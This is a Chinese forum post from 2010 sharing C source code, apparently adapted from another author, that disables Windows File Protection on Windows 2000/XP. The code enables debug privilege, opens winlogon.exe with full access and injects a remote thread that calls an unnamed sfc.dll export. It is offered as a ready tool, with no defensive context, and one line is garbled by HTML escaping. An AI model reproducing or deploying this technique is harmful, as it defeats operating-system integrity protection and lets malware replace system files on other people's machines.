蓝色动力网络

 找回密码
 立即注册

扫一扫,访问微社区

QQ登录

只需一步,快速开始

查看: 2047|回复: 0

关闭系统保护

[复制链接]
发表于 2010-5-2 20:40:58 | 显示全部楼层 |阅读模式
关闭系统文件保护
  
  
修改自bgate的代码
// ***************************************************************
//  antisfc   version:  1.0   ·  date: 04/20/2006
//  -------------------------------------------------------------
//  关闭系统文件保护
//  -------------------------------------------------------------
//  Copyright (C) 2006 - All Rights Reserved
// ***************************************************************
//
// ***************************************************************
#include <Tlhelp32.h>
#pragma comment( lib, "Advapi32.lib" )
typedef void (_stdcall * CLOSEEVENTS)(void);
typedef unsigned long DWORD;
typedef DWORD ANTISFC_ACCESS;
/*
* ANTISFC structures
*/
typedef struct _ANTISFC_PROCESS {
    DWORD     Pid;                 // process pid
    HANDLE ProcessHandle;       // process handle
    char   ImageName[MAX_PATH]; // image name (not full path)
} ANTISFC_PROCESS, *PANTISFC_PROCESS;

DWORD Init() {
    DWORD  ret = 0;
    HANDLE hToken;
    LUID sedebugnameValue;
    TOKEN_PRIVILEGES tkp;
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
    {
        if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue))
        {
            tkp.PrivilegeCount = 1;
            tkp.Privileges[0].Luid = sedebugnameValue;
            tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
            if (AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL))
                ret = 1;            
        }
        CloseHandle(hToken);
    }
    return(ret);
}
DWORD GetPidEx(char *proc_name, char *full_path) {
    DWORD            dwPid=0;
    HANDLE            hSnapshot;
    PROCESSENTRY32    pe;
    BOOL              ret;
    if (isdigit(proc_name[0]))
        dwPid = strtoul(proc_name, NULL, 0);
    else
        dwPid = -1;
    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == (HANDLE) -1) return 0;
    pe.dwSize = sizeof(PROCESSENTRY32);
    ret = Process32First(hSnapshot, &pe);
    while (ret) {
        if((strncmp(strlwr(pe.szExeFile), strlwr(proc_name), strlen(proc_name)) == 0)
            || (pe.th32ProcessID == dwPid)) {
                dwPid = pe.th32ProcessID;
                strcpy(full_path, pe.szExeFile);
                break;
        }
        pe.dwSize = sizeof(PROCESSENTRY32);
        ret = Process32Next(hSnapshot, &pe);
    }
    CloseHandle(hSnapshot);
    if (dwPid == -1)
        dwPid = 0;
    return(dwPid);
}
DWORD InitProcess(PANTISFC_PROCESS Process, char *proc_name, ANTISFC_ACCESS access)
{
    DWORD ret=0;
    Process-&gtid = GetPidEx(proc_name, Process->ImageName);
    if (Process->Pid != 0 && Process->ImageName[0] != 0) {
        Process->ProcessHandle = OpenProcess(access, FALSE, Process->Pid);
        if (Process->ProcessHandle != NULL)            
            ret = 1;
    }
    return ret;
}
DWORD InjectThread(PANTISFC_PROCESS Process,PVOID function)
{
    HANDLE    hThread;
    DWORD    dwThreadPid = 0, dwState;
    hThread = CreateRemoteThread(Process->ProcessHandle,
        NULL,
        0,
        (DWORD (__stdcall *) (void *)) function,
        NULL,
        0,
        &dwThreadPid);
    if (hThread == NULL) goto cleanup;
   
    dwState = WaitForSingleObject(hThread, 4000); // attends 4 secondes
    switch (dwState)
    {
    case WAIT_TIMEOUT:
    case WAIT_FAILED:        
        goto cleanup;
    case WAIT_OBJECT_0:
        break;
    default:        
        goto cleanup;
    }
    CloseHandle(hThread);
    return dwThreadPid;
cleanup:
    CloseHandle(hThread);
    return 0;
}
BOOL anti_sfc()
{
    ANTISFC_PROCESS     Process;
    HMODULE hSfc;
    DWORD    dwThread;
    CLOSEEVENTS pfnCloseEvents;
    DWORD dwVersion;
    BOOL ret=FALSE;
    BOOL flag=0;
    __try
    {
        if (!Init()) __leave;
        if(InitProcess(&Process, "winlogon.exe", PROCESS_ALL_ACCESS) == 0)
            __leave;
        flag=1;
        dwVersion = GetVersion();
        if ((DWORD)(LOBYTE(LOWORD(dwVersion))) == 5){                // Windows 2000/XP
            if((DWORD)(HIBYTE(LOWORD(dwVersion))) == 0){             //Windows 2000
                hSfc = LoadLibrary("sfc.dll");            
            }
            else {//if((DWORD)(HIBYTE(LOWORD(dwVersion))) = 1)             //Windows XP
                hSfc = LoadLibrary("sfc_os.dll");            
            }
        }   
        //else if ()  //2003?
        else __leave;        
        pfnCloseEvents = (CLOSEEVENTS)GetProcAddress(hSfc, MAKEINTRESOURCE(2));
        if(pfnCloseEvents == NULL) __leave;
        dwThread = InjectThread(&Process,
            pfnCloseEvents);
        ret=(dwThread==0?FALSE:TRUE);
    }
    __finally
    {
        if(hSfc!=NULL) FreeLibrary(hSfc);
        if(flag==1) CloseHandle(Process.ProcessHandle);
    }
        
    return ret;
}
  
  




本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

蓝色动力网络微信平台
网站管理,业务合作联系邮箱: admin#lansedongli.com    QQ:13412492 限网站业务问题.
网站帐号、密码、密保找回请使用注册邮箱,发送邮件至 password#lansedongli.com ,否则不予受理.
免责声明:本论坛所有文字和图片仅代表其个人观点.
本站某些资料或文章来自于互联网,不代表本站观点,如果侵犯了您的权益,请来信告知,我们会在三天内删除.
为了给大家一个更好的交流场所,请勿在本论坛发表与中华人民共和国法律相抵触的言论,请合作,谢谢!
Copyright © 2007-2019 Corporation Powered by网吧系统 版权所有    转载请注明!
浙ICP备11043737号-1 程序:Discuz! x3.4

湘公网安备 43018102000145号

手机版|Archiver|蓝色动力网络   

快速回复 返回顶部 返回列表